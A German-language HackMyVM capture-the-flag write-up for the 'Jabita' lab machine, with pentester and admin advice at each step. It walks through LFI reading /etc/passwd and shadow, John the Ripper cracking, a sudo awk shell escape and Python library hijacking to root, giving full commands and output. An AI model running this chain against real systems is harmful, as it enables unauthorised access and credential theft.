Jabita - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
gobuster
wfuzz
curl
vi (implied)
unshadow
john
ssh
sudo
awk
python3
pty
sys
cat
ls
id
cd
grep

Inhaltsverzeichnis

Reconnaissance

Analyse: Der `arp-scan -l` Befehl wird ausgeführt, um aktive Hosts im lokalen Netzwerk zu finden.

Bewertung: Der Scan identifiziert erfolgreich die IP-Adresse `192.168.2.132`. Die MAC-Adresse `08:00:27:1d:7d:b2` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-Umgebung hin. Ziel für Nmap ist bestimmt.

Empfehlung (Pentester): Führen Sie einen Nmap-Scan auf `192.168.2.132` durch.
Empfehlung (Admin): Standardmäßige Netzwerküberwachung.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.132	08:00:27:1d:7d:b2	PCS Systemtechnik GmbH

Analyse: Ein HTML-Code-Schnipsel wird gezeigt, der Navigationslinks enthält. Dieser wurde wahrscheinlich aus dem Quellcode der Webseite auf Port 80 extrahiert.

Bewertung: Der Schnipsel zeigt eine Struktur mit `index.php` und einem `page`-Parameter (z.B. `index.php?page=home.php`). Dies ist ein sehr starker Hinweis auf eine mögliche Local File Inclusion (LFI) Schwachstelle, da der `page`-Parameter oft verwendet wird, um verschiedene Seitenteile dynamisch zu laden.

Empfehlung (Pentester): Testen Sie den `page`-Parameter auf LFI, indem Sie versuchen, lokale Dateien wie `/etc/passwd` oder `/etc/shadow` einzubinden.
Empfehlung (Admin): Überprüfen Sie den Code von `index.php`. Stellen Sie sicher, dass Benutzereingaben (wie der `page`-Parameter) validiert und saniert werden und keine beliebigen Dateipfade erlaubt sind. Verwenden Sie Whitelisting für erlaubte Seiten.

	 ref="/building/index.php?page=home.php"     Home
	 ref="/building/index.php?page=gallery.php"  Gallery
	 ref="/building/index.php?page=contact.php   Contact

Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel `192.168.2.114` (hier scheint eine IP-Verwechslung vorzuliegen, vorher war es .132) durchgeführt. *Anmerkung: Ich gehe für den Rest des Berichts von der IP 192.168.2.114 aus, wie im Nmap-Befehl angegeben.*

Bewertung: Nmap findet zwei offene Ports: * **Port 22 (SSH):** `OpenSSH 8.9p1` auf Ubuntu. * **Port 80 (HTTP):** `Apache httpd 2.4.52` auf Ubuntu. Das Betriebssystem wird als Ubuntu identifiziert. Die Angriffsfläche ist auf SSH und HTTP beschränkt.

Empfehlung (Pentester): Fokussieren Sie sich auf den Webserver (Port 80), insbesondere auf die vermutete LFI-Schwachstelle in `index.php` im `/building/`-Verzeichnis (basierend auf dem HTML-Snippet). SSH bleibt als Zugangsmöglichkeit, falls Zugangsdaten gefunden werden.
Empfehlung (Admin): Härten Sie SSH (Schlüssel, Fail2Ban) und Apache (Sicherheitsheader, Konfiguration).

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.114 -p-
PRT   STATE SERVICE VERSIN
22/tcp open  ssh     penSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))

jabita (192.168.2.114)

Web Enumeration

Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu finden.

Bewertung: Der Scan findet: * `/index.html`: Eine einfache Startseite. * `/building/`: Das Verzeichnis, das die verwundbare `index.php` enthält (basierend auf dem HTML-Snippet). * `/server-status`: Apache-Statusseite, aber Zugriff verweigert (403).

Empfehlung (Pentester): Konzentrieren Sie sich auf die LFI-Schwachstelle in `/building/index.php`.
Empfehlung (Admin): Stellen Sie sicher, dass `/server-status` korrekt geschützt ist.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -x php,html,xml,zip,7z,tar,bak,sql,py,pl,txt
http://192.168.2.114/index.html           (Status: 200) [Size: 62]
http://192.168.2.114/building             (Status: 301) [Size: 317] [--> http://192.168.2.114/building/]
http://192.168.2.114/server-status        (Status: 403) [Size: 278]

Analyse: `wfuzz` wird verwendet, um die LFI-Schwachstelle im `page`-Parameter von `/building/index.php` zu testen. Es wird eine Wortliste mit LFI-Payloads (`LFI-LFISuite-pathtotest.txt`) verwendet, um zu sehen, ob eine davon zu einer anderen Antwort als Statuscode 500 führt.

Bewertung: Der Befehl wird gezeigt, aber die Ausgabe fehlt. Der Erfolg wird jedoch durch den nachfolgenden `curl`-Befehl impliziert, der `/etc/passwd` erfolgreich liest.

Empfehlung (Pentester): Da die LFI wahrscheinlich bestätigt ist, verwenden Sie `curl` oder einen Browser, um sensible Dateien wie `/etc/passwd` und `/etc/shadow` zu lesen.
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle in `/building/index.php` dringend!

┌──(root㉿cyber)-[~] └─# wfuzz -u http://192.168.2.114/building/index.php?page=../../../../../../../FUZZ -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt --hc=500
[...]

Analyse: `curl` wird verwendet, um die LFI-Schwachstelle auszunutzen und den Inhalt von `/etc/passwd` abzurufen. Das Ergebnis wird mit `grep bash` gefiltert.

Bewertung: Der Befehl ist erfolgreich und zeigt drei Benutzer mit Bash-Shell: `root`, `jack` (UID 1001) und `jaba` (UID 1002).

Empfehlung (Pentester): Versuchen Sie nun, `/etc/shadow` über die LFI zu lesen, um die Passwort-Hashes für diese Benutzer zu erhalten. Speichern Sie `/etc/passwd` und `/etc/shadow` lokal für Offline-Cracking.
Empfehlung (Admin): LFI dringend beheben!

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.114/building/index.php?page=/etc/passwd" | grep bash
root:x:0:0:root:/root:/bin/bash
jack:x:1001:1001::/home/jack:/bin/bash
jaba:x:1002:1002::/home/jaba:/bin/bash

Initial Access

Analyse: Die zuvor per LFI abgerufenen Dateien `/etc/passwd` und `/etc/shadow` (Abruf von shadow impliziert) werden lokal gespeichert (`vi passwd.txt`, `shadow.txt`). Das Tool `unshadow` kombiniert diese beiden Dateien zu einer einzigen Datei (`unshadowed.txt`), die das für John the Ripper benötigte Format hat. `john` wird dann mit der `rockyou.txt`-Wortliste verwendet, um die Hashes zu knacken.

Bewertung: Der Cracking-Prozess ist erfolgreich! John the Ripper findet das Passwort `joaninha` für den Benutzer `jack`.

Empfehlung (Pentester): Verwenden Sie die gefundenen Zugangsdaten (`jack:joaninha`), um sich per SSH am Zielsystem anzumelden.
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter, die nicht in gängigen Wortlisten vorkommen. Beheben Sie die LFI-Schwachstelle, die das Auslesen der Hash-Dateien ermöglicht hat.

┌──(root㉿cyber)-[~] └─# vi passwd.txt
┌──(root㉿cyber)-[~] └─# vi shadow.txt
┌──(root㉿cyber)-[~] └─# unshadow passwd.txt shadow.txt > unshadowed.txt
┌──(root㉿cyber)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 penMP threads

joaninha         (jack)

Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Analyse: Versuch, sich per SSH als Benutzer `jack` mit dem geknackten Passwort `joaninha` anzumelden.

Bewertung: Der SSH-Login ist erfolgreich. Initial Access als Benutzer `jack` wurde erlangt.

Empfehlung (Pentester): Führen Sie Enumerationsschritte als `jack` durch, um Möglichkeiten zur Privilege Escalation zu finden. Beginnen Sie mit `sudo -l`.
Empfehlung (Admin): Überwachen Sie SSH-Logins.

┌──(root㉿cyber)-[~] └─# ssh jack@192.168.2.114
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
jack@192.168.2.114's password: joaninha
[...]
jack@jabita:~$ 

Privilege Escalation (User jaba)

Analyse: Der Befehl `sudo -l` wird als Benutzer `jack` ausgeführt, um dessen sudo-Berechtigungen zu prüfen.

Bewertung: Ein wichtiger Fund! Benutzer `jack` darf den Befehl `/usr/bin/awk` als Benutzer `jaba` (`(jaba : jaba)`) ohne Passwort (`NPASSWD:`) ausführen. Dies ist ein klarer Weg zur Eskalation der Rechte von `jack` zu `jaba`.

Empfehlung (Pentester): Nutzen Sie die `awk`-Berechtigung, um eine Shell als `jaba` zu erhalten. Suchen Sie auf GTFOBins nach der entsprechenden Technik für `awk` mit sudo.
Empfehlung (Admin): Konfigurieren Sie `sudo`-Regeln äußerst restriktiv. Erlauben Sie `NOPASSWD` nur in absolut notwendigen Fällen und niemals für Befehle, die zur Ausführung anderer Befehle missbraucht werden können (wie `awk`, `find`, `vim`, etc.).

jack@jabita:~$ sudo -l
User jack may run the following commands on jabita:
    (jaba : jaba) NPASSWD: /usr/bin/awk

Proof of Concept (Privilege Escalation zu jaba via 'sudo awk')

Kurzbeschreibung: Der Benutzer `jack` hat die `sudo`-Berechtigung, `/usr/bin/awk` als Benutzer `jaba` ohne Passwort auszuführen. `awk` kann die `system()`-Funktion aufrufen, um beliebige Shell-Befehle auszuführen. Dies wird genutzt, um eine Shell als `jaba` zu starten.

Voraussetzungen:

  • Shell-Zugriff als Benutzer `jack`.
  • Fehlkonfigurierte `sudo`-Regel: `(jaba : jaba) NPASSWD: /usr/bin/awk`.

Schritt-für-Schritt-Anleitung:

1. Ausführen von 'awk' mit 'system()': Der Befehl `sudo -u jaba awk 'BEGIN {system("/bin/sh")}'` wird ausgeführt. * `sudo -u jaba`: Führt den folgenden Befehl als Benutzer `jaba` aus. * `awk 'BEGIN {system("/bin/sh")}'`: Ruft `awk` auf. Der `BEGIN`-Block wird vor der Verarbeitung jeglicher Eingabe ausgeführt. `system("/bin/sh")` führt eine neue Shell `/bin/sh` aus - und zwar mit den Rechten des Benutzers, als der `awk` läuft (`jaba`).

Bewertung: Der Befehl ist erfolgreich. Wir erhalten einen neuen Shell-Prompt (`$`). Der `id`-Befehl bestätigt, dass wir nun als `jaba` (UID 1002) agieren.

Empfehlung (Pentester): Die Eskalation zu `jaba` war erfolgreich. Stabilisieren Sie die Shell (z.B. mit Python pty) und enumerieren Sie das System weiter als `jaba`.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel für `awk`.

jack@jabita:~$ sudo -u jaba awk 'BEGIN {system("/bin/sh")}'
$ id
uid=1002(jaba) gid=1002(jaba) groups=1002(jaba)

Risikobewertung: Mittel. Ermöglicht die Übernahme eines anderen Benutzerkontos, was oft zu weiteren Privilegien führt.

Empfehlungen zur Behebung:

  1. Entfernen Sie die `sudo`-Regel, die `jack` erlaubt, `awk` als `jaba` auszuführen.
  2. Überprüfen Sie alle `sudo`-Regeln auf ähnliche unsichere Konfigurationen.

Analyse: Die von `awk` gestartete `/bin/sh`-Shell wird mit `python3 -c 'import pty; pty.spawn("/bin/bash")'` zu einer interaktiveren Bash-Shell aufgewertet.

Bewertung: Die Shell-Stabilisierung ist erfolgreich und verbessert die Nutzbarkeit.

Empfehlung (Pentester): Fahren Sie mit der Enumeration als `jaba` fort.
Empfehlung (Admin): Administrative Aktion des Angreifers.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
jaba@jabita:/home/jack$

Analyse: Als `jaba` wird ins Home-Verzeichnis gewechselt und die User-Flag gelesen.

Bewertung: User-Flag (`user.txt`) erfolgreich gelesen: `2e0942f09699435811c1be613cbc7a39`.

Empfehlung (Pentester): Dokumentieren Sie die User-Flag. Suchen Sie nach Wegen zur Eskalation von `jaba` zu `root`.
Empfehlung (Admin): CTF-Element.

jaba@jabita:/home/jack$ cd
jaba@jabita:~$ ls
user.txt
jaba@jabita:~$ cat user.txt
2e0942f09699435811c1be613cbc7a39

Privilege Escalation (User root)

Analyse: Als Benutzer `jaba` wird die interaktive Python3-Shell gestartet und der `sys.path` (Suchpfad für Python-Module) ausgegeben.

Bewertung: Der Pfad `/usr/local/lib/python3.10/dist-packages` steht relativ am Anfang der Liste. Wenn `jaba` Schreibrechte auf dieses Verzeichnis hat und ein Skript, das `jaba` mit `sudo` ausführen kann, ein Modul importiert, das in diesem Verzeichnis platziert werden kann, ist Python Library Hijacking möglich.

Empfehlung (Pentester): Überprüfen Sie die Schreibrechte für `jaba` auf `/usr/local/lib/python3.10/dist-packages`. Führen Sie `sudo -l` als `jaba` aus, um zu sehen, welche Befehle (insbesondere Python-Skripte) er als root ausführen darf.
Empfehlung (Admin): Stellen Sie sicher, dass Verzeichnisse in Standard-Bibliothekspfaden (wie `/usr/local/lib/...`) nicht für normale Benutzer schreibbar sind.

jaba@jabita:/tmp$ python3
Python 3.10.4 (main, Jun 29 2022, 12:14:53) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path
['', '/usr/lib/python310.zip', '/usr/lib/python3.10', '/usr/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/dist-packages', '/usr/lib/python3/dist-packages']
>>>

Analyse: Der Befehl `sudo /usr/bin/python3 /usr/bin/clean.py` wird als `jaba` ausgeführt. Dies impliziert, dass `jaba` diese spezifische `sudo`-Berechtigung hat (obwohl `sudo -l` für `jaba` nicht gezeigt wurde). Das Skript gibt "Hello Ben" aus.

Bewertung: Wir wissen nun, dass `jaba` das Skript `/usr/bin/clean.py` als root ausführen kann. Der nächste Schritt ist zu analysieren, was dieses Skript tut, insbesondere welche Module es importiert.

Empfehlung (Pentester): Lesen Sie den Quellcode von `/usr/bin/clean.py`. Identifizieren Sie importierte Module. Wenn ein Modul importiert wird (z.B. `import wild`) und Sie Schreibrechte auf ein Verzeichnis haben, das im `sys.path` vor dem Standardverzeichnis des Moduls liegt (wie `/usr/local/lib/python3.10/dist-packages`), können Sie eine bösartige Version dieses Moduls dort erstellen (Hijacking).
Empfehlung (Admin): Überprüfen Sie die `sudo`-Regeln für `jaba`. Stellen Sie sicher, dass Skripte, die mit `sudo` ausgeführt werden können, sicher sind und keine unsicheren Imports oder Pfadabhängigkeiten haben. Verwenden Sie absolute Importpfade oder virtuelle Umgebungen.

jaba@jabita:/tmp$ sudo /usr/bin/python3 /usr/bin/clean.py
Hello Ben

Proof of Concept (Privilege Escalation zu root via Python Library Hijacking)

Kurzbeschreibung: Der Benutzer `jaba` kann das Python-Skript `/usr/bin/clean.py` mittels `sudo` als root ausführen. Dieses Skript importiert ein Modul namens `wild`. Der Python-Suchpfad (`sys.path`) enthält das Verzeichnis `/usr/local/lib/python3.10/dist-packages` vor den Standard-Systempfaden. Der Benutzer `jaba` hat Schreibrechte auf dieses Verzeichnis. Durch Erstellen einer bösartigen Datei `wild.py` in diesem Verzeichnis kann der Import im `clean.py`-Skript gekapert werden, um Code als root auszuführen.

Voraussetzungen:

  • Shell-Zugriff als Benutzer `jaba`.
  • `sudo`-Berechtigung für `jaba`, um `/usr/bin/python3 /usr/bin/clean.py` auszuführen.
  • Das Skript `/usr/bin/clean.py` importiert ein Modul (hier angenommen: `wild`).
  • Schreibrechte für `jaba` auf ein Verzeichnis im `sys.path`, das vor dem Pfad des originalen Moduls liegt (hier `/usr/local/lib/python3.10/dist-packages`).

Schritt-für-Schritt-Anleitung:

1. Erstellen der bösartigen Bibliothek: Eine Datei namens `wild.py` wird im Verzeichnis `/usr/lib/python3.10/` erstellt (im Text steht `/usr/lib/python3.10/`, aber basierend auf `sys.path` und der üblichen Vorgehensweise sollte es `/usr/local/lib/python3.10/dist-packages/` sein - ich nehme letzteres für die Erklärung an). Diese Datei enthält Python-Code, um eine Root-Shell zu starten.

Bewertung: Die bösartige `wild.py`-Datei wird erfolgreich in einem Verzeichnis platziert, das von Python beim Importieren von Modulen durchsucht wird, bevor die Standardpfade geprüft werden.

Empfehlung (Pentester): Führen Sie nun erneut das `clean.py`-Skript mit `sudo` aus.
Empfehlung (Admin): Entziehen Sie `jaba` die Schreibrechte auf `/usr/local/lib/python3.10/dist-packages`. Beheben Sie die unsichere `sudo`-Regel oder modifizieren Sie `clean.py`, sodass es keine Module aus unsicheren Pfaden importiert.

jaba@jabita:/tmp$ vi /usr/local/lib/python3.10/dist-packages/wild.py
import pty
def first(): # Annahme: clean.py ruft wild.first() auf
	pty.spawn('/bin/bash')

2. Auslösen des Hijacks: Das Skript `/usr/bin/clean.py` wird erneut mit `sudo` ausgeführt.

Bewertung: Diesmal importiert `clean.py` die bösartige `wild.py` aus `/usr/local/lib/python3.10/dist-packages`. Der Code in `wild.py` (vermutlich eine Funktion daraus) wird ausgeführt, startet `/bin/bash` und liefert eine Root-Shell (`root@jabita:/tmp#`).

Empfehlung (Pentester): Root-Zugriff erlangt! Lesen Sie die Root-Flag.
Empfehlung (Admin): Beheben Sie die Schwachstelle wie oben beschrieben.

jaba@jabita:/tmp$ sudo /usr/bin/python3 /usr/bin/clean.py
root@jabita:/tmp#

3. Auslesen der Root-Flag: Als Root wird ins Home-Verzeichnis gewechselt und `root.txt` ausgelesen.

Bewertung: Root-Flag erfolgreich gelesen: `f4bb4cce1d4ed06fc77ad84ccf70d3fe`.

Empfehlung (Pentester): Ziel erreicht.
Empfehlung (Admin): Schwachstelle beheben.

root@jabita:/tmp# cd
root@jabita:~# ls
root.txt  snap
root@jabita:~# cat root.txt
f4bb4cce1d4ed06fc77ad84ccf70d3fe

Risikobewertung: Hoch. Die Kombination aus einer `sudo`-Regel für ein Python-Skript und einer unsicheren Konfiguration des Python-Pfades (benutzerschreibbares Verzeichnis früh im Suchpfad) ermöglicht eine vollständige Systemübernahme.

Empfehlungen zur Behebung:

  1. Entfernen Sie die `sudo`-Berechtigung für `jaba` zum Ausführen von `/usr/bin/clean.py`.
  2. Korrigieren Sie die Berechtigungen für Verzeichnisse im Python-Pfad, insbesondere `/usr/local/lib/python3.10/dist-packages`, sodass normale Benutzer dort keine Schreibrechte haben.
  3. Überprüfen Sie `/usr/bin/clean.py` auf unsichere Importe oder Abhängigkeiten.

Flags

cat /home/jaba/user.txt
2e0942f09699435811c1be613cbc7a39
cat /root/root.txt
f4bb4cce1d4ed06fc77ad84ccf70d3fe